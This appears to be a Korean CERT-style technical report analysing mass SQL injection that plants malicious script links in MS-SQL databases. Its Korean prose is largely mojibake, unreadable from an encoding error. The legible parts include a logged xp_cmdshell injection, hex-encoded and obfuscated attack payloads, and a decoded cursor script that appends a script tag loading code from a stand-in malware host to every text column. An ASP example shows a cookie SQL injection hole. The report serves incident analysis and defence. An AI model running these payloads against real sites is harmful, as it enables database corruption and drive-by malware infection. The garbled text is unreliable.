Home | Data Center | Contact US | Login

Á¦¸ñ ÀÚµ¿È­µÈ SQL Injection °ø°ÝÀ» ÅëÇÑ ¾Ç¼ºÄÚµå ´ë·® »ðÀÔ ¼ö¹ý ºÐ¼®
÷ºÎÆÄÀÏ TR-2008-007-MassSQLinjection.pdf ÀÛ¼ºÀÏ 2009-02-02 13:27:46

ÀÚµ¿È­µÈ SQL Injection °ø°ÝÀ» ÅëÇÑ ¾Ç¼ºÄÚµå ´ë·® »ðÀÔ ¼ö¹ý ºÐ¼®
(Mass SQL Injection)


1. °³¿ä

ÀÎÅÍ³Ý È¨ÆäÀÌÁö¸¦ ´ë»óÀ¸·Î Áö¼ÓµÇ°í ÀÖ´Â °³ÀÎÁ¤º¸ À¯Ãâ»ç°í³ª ¾Ç¼ºÄÚµå »ðÀÔ»ç°í´Â SQL Injection Ãë¾àÁ¡À¸·Î ÀÎÇØ ¹ß»ýÇÑ °æ¿ì°¡ ´ëºÎºÐÀÌ´Ù. ¡°SQL Injection °ø°Ý¡±Àº ¡°¾Ç¼º SQL¹® ÁÖÀÔ°ø°Ý¡±À¸·Îµµ ºÒ¸®¸ç, ȨÆäÀÌÁö¿Í µ¥ÀÌÅͺ£À̽º°¡ µ¥ÀÌÅ͸¦ ÁÖ°í¹ÞÀ» ¶§ ÀûÀýÇÑ ÀԷ°ª °ËÁõÀ» ÇÏÁö ¾Ê¾Æ °ø°ÝÀÚ°¡ ÁÖÀÔÇÑ SQL ¸í·É¾î°¡ ½ÇÇàµÇ¸é¼­ ¹ß»ýÇÑ´Ù.
ÀÌ·¯ÇÑ SQL Injection °ø°ÝÀº Áö±Ýµµ °è¼ÓÇؼ­ Áö¼ÓµÇ°í ÀÖ°í, µ¥ÀÌÅͺ£À̽º¿¡ ¾Ç¼ºÄڵ尡 »ðÀÔµÈ »ç°í »ç·Êµµ ºÐ¼®µÈ ¹Ù ÀÖ¾ú´Ù. ÇÏÁö¸¸ ÃÖ±Ù ÀÚµ¿È­µÈ ÇüÅÂÀÇ °ø°Ý ¼ö¹ý°ú µµ±¸µµ ¹ß°ßµÇ°í ÀÖ°í ¼ö¸¹Àº ȨÆäÀÌÁö¸¦ ´ë»óÀ¸·Î ¾Ç¼ºÄڵ带 ´ë·®À¸·Î »ðÀÔÇÏ´Â ÇüÅ·ΠȮ»êµÇ°í ÀÖ´Ù.

SQL InjectionÀ» ÀÌ¿ëÇÑ ¾Ç¼ºÄÚµå ´ë·® »ðÀÔ »ç°íÀÇ Æ¯Â¡
􀂃 µ¥ÀÌÅͺ£À̽º¿¡ ¾Ç¼ºÄڵ带 ´ë·®À¸·Î »ðÀÔ
􀂃 ÀÚµ¿ »ðÀÔ ½ºÅ©¸³Æ®¸¦ »ç¿ëÇÏ¿© Çѹø¿¡ ¾Ç¼ºÄڵ带 ´ë·® »ðÀÔ
􀂃 POST³ª HTTP Header(ÄíÅ°, ¸®ÆÛ·¯ µî)¸¦ ÀÌ¿ëÇÑ °æ¿ì´Â °ø°Ý ·Î ±×¸¦ ã±â ¾î·Á¿ò
􀂃 ¾Ç¼ºÄÚµå »ðÀÔ °úÁ¤¿¡¼­ µ¥ÀÌÅÍÀÇ ¼Õ½Ç ¶Ç´Â À¯½Ç ¹ß»ý

ÀÌ·¯ÇÑ Æ¯Â¡À» °¡Áø SQL Injection °ø°ÝµéÀº ¡°Mass SQL Injection¡± À̶ó´Â º°Äªµµ °®°Ô µÇ¾úÀ¸¸ç, Áö³­ 1¿ù SANS ISC¿¡¼­ ´ë·® ¾Ç¼ºÄÚµå »ðÀÔ »ç°í¿¡ ´ëÇØ ºÐ¼® ÀÚ·á°¡ °ø°³ µÈ ÀÌÈÄ, ÀÌ¿Í °ü·ÃµÈ »ç°í»ç·Ê³ª ºÐ¼® ÀÚ·á°¡ ÀÕµû¶ó ¹ßÇ¥µÇ°í ÀÖ´Ù.
ÇÏÁö¸¸ °á°úÀûÀ¸·Î ÇÇÇØÀÇ Á¤µµ¸¸ ´Ù¸¦ »ÓÀÌÁö, ±× ¿øÀÎÀº º¯ÇÏÁö ¾Ê¾ÒÀ¸¸ç, ÀÚµ¿È­µÈ °ø°Ý ¼ö¹ý ¶ÇÇÑ °ú°ÅÀÇ SQL Injection °ø°ÝÀ» ÀÀ¿ëÇÑ °ÍÀÌ´Ù. º» ±â¼ú¹®¼­¿¡¼­´Â ¿ÃÇØ ÃʺÎÅÍ ¹ß»ýÇÏ°í È®»êµÇ¾ú´ø ÀÚµ¿È­µÈ SQL Injection °ø°ÝÀ¸·Î ÀÎÇÑ ¾Ç¼ºÄÚµå ´ë·® »ðÀÔ »ç°í¿¡ ´ëÇØ ±× ¿øÀΰú ´ëÀÀ¹æ¾ÈÀ» »ìÆ캻´Ù.
Âü°í·Î, º» ¹®¼­´Â À©µµ¿ìÁîÀÇ IIS ¹× ASP¿¡¼­ MS-SQL ¼­¹ö¸¦ »ç¿ëÇÏ´Â ¿î¿µÈ¯°æÀ» ÀüÁ¦·Î ±â¼úÇÏ¿´´Ù.


2. »ç°í ¿øÀÎ ºÐ¼®
°¡. ´ë·® ¾Ç¼º ÄÚµå »ðÀÔ»ç°í °á°ú ¿¹½Ã
°ú°Å¿¡´Â À¥ »çÀÌÆ®¿¡ Á¢¼ÓÇÏ´Â PC¸¦ °¨¿°½ÃÅ°±â À§ÇØ ÃʱâÆäÀÌÁö³ª ¹æ¹®ÀÚ°¡ ¸¹Àº ÆäÀÌÁö¸¦ ´ë»óÀ¸·Î ±× ÆäÀÌÁö ÆÄÀÏ¿¡ ¾Ç¼ºÄڵ带 »ðÀÔÇÏ¿´´Ù. ÇÏÁö¸¸ º» ¹®¼­¿¡¼­ ´Ù·ç´Â ¾Ç¼ºÄÚµå ´ë·® »ðÀÔ »ç°í´Â µ¥ÀÌÅͺ£À̽ºÀÇ ¹®ÀÚÇü Ä÷³ÀÇ ÀÚ·á°ª ¸ðµÎ¿¡ ¾Ç¼ºÄÚµåÀÇ À¯Æ÷Áö Á¤º¸(URI)°¡ »ðÀԵȴÙ.



³ª. SQL Injection Ãë¾àÁ¡
ÀÎÅÍ³Ý È¨ÆäÀÌÁö´Â À¥ ¼­¹öÀÇ ¾îÇø®ÄÉÀ̼ÇÀ» ÅëÇØ ¼­ºñ½º¸¦ Á¦°øÇÏ°í ÀÌ·¯ÇÑ ÀÀ¿ë°èÃþ¿¡¼­ÀÇ º¸¾È ÇãÁ¡À» À¥º¸¾È Ãë¾àÁ¡À̶ó°í ÇÑ´Ù. ±×¸®°í ÀÎÅÍ³Ý È¨ÆäÀÌÁö ħÇØ»ç°íÀÇ ´ëºÎºÐÀÌ ÀÌ·¯ÇÑ À¥º¸¾È Ãë¾àÁ¡À¸·Î ÀÎÇØ ¹ß»ýÇÏ°í ÀÖÀ¸¸ç, ±× ¿øÀÎÀ¸·Î´Â WASC(Web Application Security Consortium)ÀÇ Åë°è¸¦ º¸´õ¶óµµ, À¥ ¾îÇà ¸®ÄÉÀ̼ÇÀÌ Àü´Þ ¹Þ¾Æ ó¸®ÇÏ´Â ÀԷ°ªÀÇ °ËÁõ ÀýÂ÷ ¹®Á¦°¡ °¡Àå ¸¹´Ù. ±×¸®°í ÀԷ°ª °ËÁõ ¹®Á¦ÀÇ ´ëÇ¥ÀûÀÎ ¿¹·Î´Â SQL Injection °ø°Ý°ú XSS°ø°ÝÀ» µé ¼ö ÀÖÀ¸¸ç, SQL Injection Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏ´Â °æ¿ì¿¡´Â ·Î±×ÀÎ ÀÎÁõ¿ìȸ, ½Ã½ºÅÛ ¸í·É¾î ½ÇÇà, ȸ¿ø °³ÀÎÁ¤º¸¿Í °°Àº DB ÀÚ·á À¯Ãâ µîÀÇ ÇÇÇØ°¡ ¹ß»ýÇÑ´Ù. ¿¹¸¦ µé¾î, SQL Injection Ãë¾àÁ¡ÀÌ ÀÖ´Â À¥ »çÀÌÆ®¸¦ ÅëÇØ MS-SQL ¼­¹öÀÇ È®Àå ÇÁ·Î½ÃÀú Áß ¡°xp_cmdshell¡°À» ÀÌ¿ëÇØ ½Ã½ºÅÛ ¸í·É¾î¸¦ ½ÇÇà½ÃÅ°¸é À©µµ¿ìÁî OSÀÇ ³»Àå ¸í·É¾îµéÀ» °ø°ÝÀÚ°¡ ¼Õ½±°Ô »ç¿ëÇÒ ¼ö ÀÖ´Ù.
¾Æ·¡´Â ±× »ç·Ê·Î½á SQL Injection Ãë¾àÁ¡À» ¾Ç¿ëÇÏ¿© ½Ã½ºÅÛ ¸í·ÉÀ» ½ÇÇà ÇÑ ´ç½ÃÀÇ À¥·Î±×ÀÌ´Ù

2008-05-23 09:49:51 W3SVC858317 XX.55.211.233 GET /servic
e/read3.asp idx=47';CREATE TABLE [X_9]([id] int NOT NULL
IDENTITY (1,1), [ResultTxt] varchar(1024) NULL);insert in
to [X_9](ResultTxt) EXEC MASTER..XP_CMDSHELL 'Dir C:\';in
sert into [X_9](ResultTxt) values ('g_ov');exec master..s
p_dropextendedproc 'xp_cmdshell'-- 80 - 200 0 0

ÀÌ¿Ü¿¡µµ ´Ù¾çÇÑ SQL Injection °ø°Ý ¼ö¹ýÀÌ ÀÖÀ¸¸ç ÀÌ¿¡ ´ëÇÑ ÀÚ¼¼ÇÑ ³»¿ëÀº KrCERT/CC°¡ ¹ß°£ÇÑ ÀÚ·á¿¡¼­ »ó¼¼È÷ ±â¼úÇÑ ¹Ù ÀÖ´Ù.

´Ù. ¾Ç¼ºÄÚµå »ðÀÔ °ø°Ý ½ºÅ©¸³Æ® ºÐ¼®
SQL Injection Ãë¾àÁ¡À» ÀÌ¿ëÇÏ¿© ´ë·®ÀÇ ¾Ç¼ºÄڵ带 »ðÀÔÇÏ´Â ½ºÅ©¸³Æ®´Â ¿©·¯ Á¾·ù°¡ ¹ß°ßµÇ¾ú´Ù. ´ëºÎºÐÀÇ °æ¿ì ½ºÅ©¸³Æ®ÀÇ ³»¿ë »ó °ÅÀÇ À¯»çÇϱ⠶§¹®¿¡, ±× Áß ´ëÇ¥ÀûÀÎ »ç·Ê¸¦ µé¾î ½ÇÇà ¹æ½ÄÀ» ºÐ¼®ÇÑ´Ù.
􀂄 ¹ß°ßµÈ °ø°Ý ½ºÅ©¸³Æ® ÇüÅ ¾Æ·¡ÀÇ ½ºÅ©¸³Æ®´Â À¥·Î±×¿¡¼­ È®ÀÎÇÑ °ÍÀ̸ç, º»·¡ÀÇ ½ÇÇà ±¸¹®À» °ø°ÝÀÚ°¡ CAST ÇÔ¼ö·Î ÀÎÄÚµùÇÑ °ø°Ý ÇüÅÂÀÌ´Ù.
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415
245204054205641524348415228323535292C4043205641524348415
-- Áß°£»ý·« --
626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

¾Æ·¡´Â º¸¾ÈÀåºñ ¿ìȸ³ª ·Î±×ºÐ¼® ½Ã ´«¿¡ ¶ç±â ¾î·Æ°Ô ÇÏ´Â µîÀÇ ÀÌÀ¯·Î ³­µ¶È­(obfuscation)ÇÑ ÇüÅÂÀÌÁö¸¸, °á±¹ ½ÇÇà ³»¿ëÀº ´Ù¸£Áö ¾Ê´Ù.
dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%
20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.Name,b.Name%2
-- Áß°£»ý·« --
oSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--

ÀÎÄÚµùµÇ¾î ÀÖ´Â °ø°Ý ½ºÅ©¸³Æ®¸¦ µðÄÚµùÇÏ¸é ´ÙÀ½°ú °°´Ù.

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cur
sor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,sys
columns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99
OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_C
ursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FET
CH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTR
IM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=hxxp:/
/malcode/b.js></script>''') FETCH NEXT FROM Table_Cursor
INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor


􀂄 °ø°Ý ½ºÅ©¸³Æ® ½ÇÇà ºÐ¼®
¾Õ¼­ ¿¹½ÃÇÑ °ø°Ý ½ºÅ©¸³Æ® µéÀº ´ëºÎºÐ ¾Æ·¡ÀÇ È帧µµ¿Í °°ÀÌ ½ÇÇàµÈ´Ù.


°ø°Ý ½ºÅ©¸³Æ®ÀÇ ½ÇÇà ºÐ¼® °á°ú¿¡¼­ ¸î °¡Áö ÁÖ¸ñÇØ¾ß ÇÒ Æ¯Â¡ÀÌ ÀÖ´Ù.
¿ì¼±, Àӽú¯¼ö¸¦ ¼±¾ðÇÏ¿© Å×À̺í¸í°ú Ä÷³¸íÀ» ÃßÃâÇϱâ À§ÇØ DBMSÀÇ ½Ã½ºÅÛ Å×À̺íÀÎ Sysobjects[1]¿Í Syscolumns[2]¿¡ ÀúÀåµÇ¾î ÀÖ´Â µ¥ÀÌÅͺ£À̽º Á¤º¸¸¦ ¼öÁý (select)ÇÏ´Â ºÎºÐÀÌ´Ù. ÀÌ µÎ Å×À̺íÀº µ¥ÀÌÅͺ£À̽º¿¡ ´ëÇÑ °³Ã¼ Á¤º¸¿Í Ä÷³¿¡ ´ëÇÑ Á¤º¸ µîÀ» ´ã°í ÀÖ´Ù. ±×·¯¹Ç·Î ÇÊ¿äÇÏÁö ¾Ê´Ù¸é, ÀÌ µÎ Å×ÀÌºí¿¡ ´ëÇÑ Á¶È¸ ±ÇÇÑÀ» Á¦°ÅÇÏ´Â °Í¸¸À¸·Îµµ ¾Ç¼ºÄÚµå »ðÀÔÀ» ¿¹¹æÇÒ ¼ö ÀÖÀ¸¸ç, ÀÚ¼¼ÇÑ º¸¾È °­È­¹æ¹ýÀº ´ëÀÀ¹æ¾È¿¡¼­ »ìÆ캻´Ù. °ø°Ý ½ºÅ©¸³Æ®¿¡¼­ Sysobjects¿Í Syscolumns Å×ÀÌºí¿¡¼­ ÃßÃâ ÇÏ°íÀÚ ÇÏ´Â Á¤º¸´Â À¥ ¼­ºñ½º¿ëÀ¸·Î °³¹ßÀÚ°¡ »ý¼ºÇÑ Å×À̺í[1] Á¤º¸¿Í ¾Ç¼ºÄڵ带 »ðÀÔÇϱâ À§ÇØ ¹®ÀÚÇüÀ¸·Î »ý¼ºµÈ Ä÷³[2] Á¤º¸ÀÌ´Ù.
Å×À̺í°ú Ä÷³ Á¤º¸¸¦ ¾òÀº ÈÄ¿¡´Â ¾Ç¼ºÄÚµå »ðÀÔ ´ë»ó Ä÷³ÀÇ ÀÚ·á °ªÀ» °­ Á¦·Î ÀÚ·á Çü(data type) º¯È¯ÇÑ ÈÄ ¾Ç¼ºÄڵ带 ºÙ¿© ¾÷µ¥ÀÌÆ® ÇÑ´Ù. ÀÌ °úÁ¤¿¡¼­ ÀÚ·á Çü º¯È¯ÀÌ À߸ø µÇ¾î ÀÚ·á °ªÀÌ ¼Õ»óµÇ°Å³ª À¯½ÇµÉ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î ¿øº» Ä÷³ÀÌ "TEXT" ÇüÀ¸·Î ¼³Á¤µÈ »óÅ¿¡¼­ ¾Ç¼ºÄÚµå »ðÀÔÀ» À§ÇÑ Àӽà º¯¼öÀÇ Å©±â¸¦
ÃÊ°úÇÏ´Â °æ¿ì´Â ±× Â÷À̸¸Å­ ÀÚ·á°¡ À¯½ÇµÈ´Ù.

¶ó. SQL ¸í·É ÁÖÀÔ ÁöÁ¡ÀÇ ´Ù¾çÈ­
1) »ç¿ëÀÚ ÀԷ°ª¿¡ ´ëÇÑ SQL Injection
Áö±Ý±îÁö SQL Injection °ø°ÝÀº HTTPÀÇ GETÀ̳ª POST ¸Þ¼Òµå¸¦ ÅëÇØ Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏ´Â ÀÎÀÚ¿¡ SQL¹®À» ÁÖÀÔÇÏ´Â ÇüÅ°¡ ´ëºÎºÐÀ̾ú´Ù.
¾Æ·¡´Â GET ¸Þ¼Òµå¸¦ ÅëÇØ SQL InjectionÀ» ½ÃµµÇÑ ´ç½ÃÀÇ À¥ ·Î±×ÀÌ´Ù.
69.149.XXX.53 - - [08/Jun/2008:22:57:15 +0900]
"GET /tel/H0000.asp?HotelId=126;DECLARE @SVARCHAR(4000);SET @S=CAST(0
x4445434C415245204054205641524348415228323535292C40432056415243484152
2832353529204445434C415245205461626C655F437572736F7220435552534F52204
64F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F62
6A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E6
96420414E4420612E787 -- ÀÌÇÏ »ý·« --

2) HTTP Header¿¡ ´ëÇÑ SQL Injection
ÃÖ±Ù ¹ß°ßµÇ´Â ¾Ç¼ºÄÚµå ´ë·® »ðÀÔ »ç°íµéÀº SQL ¸í·ÉÀÌ ÁÖÀԵǴ ÁöÁ¡ÀÌ ´Ù¾çÇØÁö°í ÀÖ´Ù. Áï, HTTP Header¿¡ Æ÷ÇԵǾî ÀÖ´Â ÄíÅ°(cookie)³ª ¸®ÆÛ·¯(referer)¸¦ ÅëÇÑ SQL Injection °ø°Ýµµ ½ÃµµµÇ°í ÀÖ´Ù.

􀂄 ÄíÅ°¿¡ ´ëÇÑ SQL Injection
¾Æ·¡ÀÇ Æ®·¡ÇÈ ·Î±×´Â HTTP Header¸¦ ÅëÇØ SQL Injection°ø°ÝÀÌ ½ÃµµµÈ »ç·Ê·Î½á ÄíÅ°¿¡¼­ »ç¿ëµÈ ÀÎÀÚ °ª¿¡ SQL ¸í·É ÁÖÀÔÀ» ½ÃµµÇÑ °æ¿ìÀÌ´Ù.


ÄíÅ° °ªµµ ¼­¹ö Ãø¿¡¼­ µ¥ÀÌÅͺ£À̽º¿Í ¿¬µ¿µÇ´Â ºÎºÐÀÌ ÀÖ´Ù¸é Ãë¾àÁ¡ÀÌ Á¸ÀçÇÒ ¼ö ÀÖ´Ù. ÄíÅ°ÀÇ SQL Injection Ãë¾àÁ¡À» ¼³¸íÇϱâ À§ÇØ °£´ÜÇÑ À¥ ÆäÀÌÁö¸¦ ¿¹¸¦ µé¾îº»´Ù. À¥ »çÀÌÆ®ÀÇ ÇÁ·Î±×·¥ ¼Ò½º´Â ¾Æ·¡¿Í °°À¸¸ç, ID¿Í Password°¡ ÀÏÄ¡ÇÏ¸é ·Î±×ÀÎÀ» Çã¿ëÇϸ鼭 Á¢¼ÓÀÚÀÇ ID °ªÀ» ÄíÅ°¿¡ »ý¼ºÇÑ´Ù.
±×¸®°í ·Î±×ÀΠ󸮸¦ ¼öÇàÇÏ´Â ÆäÀÌÁö¿¡¼­´Â SQL Injection¹æÁö¸¦ À§ÇØ ID³ª Password°ª¿¡ ´ëÇØ InputFilter¶ó´Â ÇÔ¼ö·Î º¸È£Çß´Ù.
<%
Dim UserID : UserID = InputFilter(Request.Form("UserID"))
' SQL Injection¹æ¾î¸¦ À§ÇØ InputFilter»ç¿ë
Dim UserPW : UserPW = InputFilter(Request.Form("UserPW"))
Dim Result : Result = CheckLogin(UserID, UserPW)
If Result = True Then
Response.Cookies("www")("userid") = UserID
Else
Response.Write "ÀÎÁõ½ÇÆÐ"
End If
%>

¾Æ·¡´Â ÀԷ°ª¿¡ ´ëÇÑ °ËÁõÀýÂ÷¸¦ ¼öÇàÇÏ´Â InputFilterÇÔ¼öÀ̸ç, ÀÌ ÇÔ¼ö¸¦ »ç¿ëÇÏ¿© ÀԷ°ªÀ» °Ë»çÇÑ´Ù¸é, ¾Æ·¡ÀÇ ¿¹½Ã Äڵ忡¼­ ¸í½ÃÇÑ´ë·Î ÀԷ°ªÀÌ ¼ýÀÚ¿Í ¿µ¹®ÀÚÀÏ °æ¿ì¿¡¸¸ Çã¿ëÇÑ´Ù.
<% ¡®SQL Injection¹æ¾î¸¦ À§ÇÑ InputFilter ÇÔ¼öÀ̸ç Á¤¼ö, ¾ËÆĺª¸¸ ÀԷ°¡´É
Function InputFilter(str)
Dim i, ret
ret = TRUE
For i = 1 To Len(str)
If Not((Asc(Mid(str, i, 1)) >= 48 And Asc(Mid(str, I,
1)) <= 57) Or (Asc(Mid(str, i, 1)) >= 65 And
Asc(Mid(str, i, 1)) <= 90) Or (Asc(Mid(str, i, 1)) >= 97
And Asc(Mid(str, i, 1)) <= 122))
Then ret = FALSE
End If
-- ÀÌÇÏ »ý·« --

Âü°í·Î, À§ÀÇ ÀԷ°ª °ËÁõ ÇÔ¼ö¿¡¼­ Çã¿ëÇÏ´Â ¹üÀ§´Â ASCII°ªÀ¸·Î º¯È¯ ÇÏ¿´À»¶§ 48~57Àº ¼ýÀÚ, 65~90Àº ¿µ¹® ´ë¹®ÀÚ, 97~122´Â ¿µ¹® ¼Ò¹®ÀÚ¸¦ ¶æÇÑ´Ù.
ÀÌÁ¦ Á¢¼ÓÀÚ°¡ °Ô½Ã¹°À» ÀÛ¼ºÇÏ°Ô µÇ¸é, ¾Æ·¡ÀÇ ÇÁ·Î±×·¥ ¼Ò½º¿Í °°ÀÌ Á¦¸ñ°ú °Ô½Ã ³»¿ëÀ» ÀÔ·Â ¹ÞÀ¸¸ç, ÀÌ ¶§ Á¦¸ñÀ̳ª °Ô½Ã ³»¿ë¿¡ Ȥ½Ã¶óµµ SQL Injection ¹®ÀÚ¿­ÀÌ Æ÷ÇԵǾî ÀÖ´ÂÁö °ËÁõÇϱâ À§ÇØ InputFilter ÇÔ¼ö¸¦ »ç¿ëÇß´Ù. ±×·¯¹Ç·Î Á¦¸ñÀ̳ª °Ô½Ã ³»¿ëÀº ¾ÈÀüÇÏ°Ô µ¥ÀÌÅͺ£À̽º¿¡ Àü´Þ µÉ ¼ö ÀÖ´Ù.
<%
Dim Title : Title = InputFilter(Request.Form("Title"))
Dim Content : Content = InputFilter(Request.Form("Content"))
Dim Writer : Writer = Request.Cookies("www")("userid")
' ÄíÅ°´Â ±×´ë·Î °¡Á®¿Í¼­ »ç¿ë
SQL = "Insert Into Board ("
SQL = SQL & "Title, Content, Writer "
SQL = SQL & ") Values ( "
SQL = SQL & " '" & Title & "', '" & Content & "', '" & Writer & "') "
Db.Execute SQL ' SQL Injection Ãë¾àÁ¡ ¹ß»ý!!
%>

±×·¯³ª ÄíÅ° °ªÀº »ó´ëÀûÀ¸·Î ¾ÈÀüÇÏ´Ù°í »ý°¢Çؼ­ ÀԷ°ª °ËÁõÀ» ÇÏÁö ¾Ê¾Ò±â ¶§¹®¿¡ °á±¹ SQL Injection Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏ´Â °á°ú¸¦ ÃÊ·¡Çß´Ù.

Âü°í·Î, SQL Injection °ü·Ã »ç°í¸¦ ºÐ¼®Çϸ鼭 À¥¹æÈ­º®ÀÌ ÀÖÀ½¿¡µµ ħÇØ»ç°í°¡ ¹ß»ýÇÑ °æ¿ì°¡ ´Ù¼ö ÀÖ¾î À¥¹æÈ­º®ÀÇ ¹®Á¦°¡ ÀÖ´ÂÁö ºÐ¼® ÇØ º¸¾ÒÀ¸³ª, À¥¹æÈ­º®ÀÇ ¿À·ù³ª ¹ö±×°¡ ¾Æ´Ï¶ó ¿î¿µÀÚ°¡ HTTP Header¿¡ ´ëÇÑ °ø°Ý Â÷´Ü±â´ÉÀ» È°¼ºÈ­ ½ÃÅ°Áö ¾ÊÀº ä·Î ¿î¿µµÇ°í ÀÖ¾ú±â ¶§¹®¿¡ ¹ß»ýÇÑ »ç·Ê¿´´Ù.
¿¹¸¦ µé¾î, À©µµ¿ìÁî IIS ¿î¿µ ȯ°æ¿¡¼­ »ç¿ëÇÏ´Â °ø°³À¥¹æÈ­º®ÀÎ WebKnightÀÇ °æ¿ì¿¡µµ Header Injection°ü·Ã ±â´ÉÀ» È°¼ºÈ­ ÇÏÁö ¾ÊÀ¸¸é ÄíÅ°³ª ¸®ÆÛ·¯ÀÇ SQL Injection°ø°ÝÀ» ŽÁöÇϰųª Â÷´ÜÇÒ ¼ö ¾ø´Ù. ÀÌ¿¡ ´ëÇÑ ±¸Ã¼ÀûÀÎ ¼³Á¤ ¹æ¹ýÀº ´ëÀÀ ¹æ¾È¿¡¼­ »ìÆ캻´Ù.

􀂄 ¸®ÆÛ·¯¿¡ ´ëÇÑ SQL Injection
HTTP Header Áß ¸®ÆÛ·¯ÀÇ Á¤º¸¸¦ µ¥ÀÌÅͺ£À̽º¿¡ ÀÔ·ÂÇϰųª È°¿ëÇÏ´Â °æ¿ìµµ ¸¶Âù°¡Áö·Î SQL Injection Ãë¾àÁ¡ÀÌ Á¸Àç ÇÒ ¼ö ÀÖ´Ù. ¸®ÆÛ·¯ Á¤º¸´Â ÆäÀÌÁö ¿äû Á÷ÀüÀÇ Á¢¼Ó Á¤º¸¸¦ ´ã°í Àֱ⠶§¹®¿¡ ¸¶ÄÉÆÃÀ̳ª À¥ »çÀÌÆ® ºÐ¼®À» À§ÇØ ¸¹ÀÌ È°¿ëÇÏ°í ÀÖ´Ù. ¾Æ·¡ÀÇ ±×¸²Àº ¸®ÆÛ·¯Á¤º¸¿¡ SQL Injection Ãë¾àÁ¡ÀÌ Á¸Àç ÇÏ´ÂÁö È®ÀÎ ÇØ º» °á°úÀÌ´Ù.

¸®ÆÛ·¯ °ª¿¡ ÀÛÀº µû¿ÈÇ¥(¡®)¸¦ ÀÓÀÇ·Î ÀÔ·ÂÇÏ¿© ¼­¹ö ³»ºÎ ¿À·ù¸¦ À¯¹ß½ÃŲ °á°ú·Î ¹Ì·ç¾î º¼ ¶§, ¸®ÆÛ·¯¿¡ SQL InjectionÃë¾àÁ¡ÀÌ Á¸ÀçÇÑ´Ù°í ÃßÁ¤ ÇÒ ¼ö ÀÖ¾úÀ¸¸ç, ½ÇÁ¦ ÇÁ·Î±×·¥ ¼Ò½º¸¦ ºÐ¼®ÇÑ °á°ú¿¡¼­µµ Ãë¾àÁ¡ÀÌ ÀÖÀ½À» È®ÀÎÇÏ¿´´Ù. ±×·¯¹Ç·Î ¾î¶°ÇÑ °æ·Î¸¦ ÅëÇؼ­ ÀÔ·ÂµÈ °ªÀÌµç °ËÁõÀýÂ÷°¡ ¹Ýµå½Ã ÇÊ¿äÇÏ´Ù.

3. º¹±¸ ¹× ´ëÀÀ ¹æ¾È

°¡. º¹±¸ ¹æ¹ý

1) µ¥ÀÌÅͺ£À̽º ¹é¾÷º»À» »ç¿ëÇÑ º¹±¸
ħÇØ»ç°í°¡ ¹ß»ýÇϱâ ÀÌÀüÀÇ ¹é¾÷º»ÀÌ ÀÖ´Ù¸é ±× ¹é¾÷º»À» ÀÌ¿ëÇÏ¿© º¹±¸ÇÏ´Â °ÍÀÌ °¡Àå ºü¸¦ °ÍÀÌ´Ù. ±×·¯³ª ½Ç½Ã°£À¸·Î °»½ÅµÇ´Â µ¥ÀÌÅͺ£À̽ºÀÇ Æ¯¼º »ó ÇÖ ¹é¾÷°ú °°ÀÌ ¹é¾÷µµ ½Ç½Ã°£À¸·Î ÀÌ·ç¾îÁö°í ÀÖ´Ù¸é ´ÙÇàÀÌÁö¸¸, ´ëºÎºÐÀÇ °æ¿ì ¹é¾÷µÈ ½ÃÁ¡ÀÌÈÄÀÇ ÀÚ·á À¯½ÇÀÌ ºÒ°¡ÇÇ ÇÏ´Ù.
±×·¯¹Ç·Î ¹é¾÷º»À¸·Î º¹±¸ÇÒ ¶§¿¡´Â ¹Ýµå½Ã ÀÚ·á À¯½Ç¿¡ ´ëÇÑ ÃæºÐÇÑ °ËÅä°¡ ÇÊ¿äÇÏ´Ù. ¿¹¸¦ µé¾î, ÀÏÀÏ ¹é¾÷ÀÌ »õº® 3½Ã¿¡ ÀÌ·ç¾îÁö°í ÀÖ´ø µ¥ÀÌÅͺ£À̽º¶ó¸é ħÇØ»ç°í°¡ ¿ÀÈÄ 1½Ã¿¡ ¹ß»ýÇÑ °æ¿ì 10½Ã°£ µ¿¾È °»½ÅµÈ ÀÚ·áÀÇ À¯½Ç¿¡ ´ëÇØ °í·ÁÇØ¾ß ÇÑ´Ù.

2) Ä÷³´ÜÀ§ º¹±¸ ¹æ¹ý
Áö±Ý±îÁö ¹ß°ßµÈ ¾Ç¼ºÄÚµå »ðÀÔ »ç°í´Â ¾Æ¹«¸® ¸¹Àº ·¹Äڵ忡 ¾Ç¼ºÄڵ尡 »ðÀÔ µÆ´õ¶óµµ ƯÁ¤ ¾Ç¼ºÄÚµå À¯Æ÷Áö(URI)¸¦ ´ã°í ÀÖ¾ú±â ¶§¹®¿¡ ¡°UPDATE¡± SQL ¸í·É¹®À» »ç¿ëÇصµ ÃæºÐÈ÷ º¹±¸ ÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª ½ÇÁ¦ Àû¿ë Àü¿¡´Â ¹Ýµå½Ã ½ÃÇèÀ» °ÅÄ£ ÈÄ Àû¿ëÇØ¾ß ÇÑ´Ù.
Update [Å×À̺í¸í] set [Ä÷³¸í]=replace([Ä÷³¸í],'[»èÁ¦ÇÏ°íÀÚÇÏ´Â ¾Ç¼ºÄÚµå
¹®ÀÚ¿­]','')
¿¹> Update freebbs set title=replace(title,'<script src=hxxp://url/
b.js></script>','')

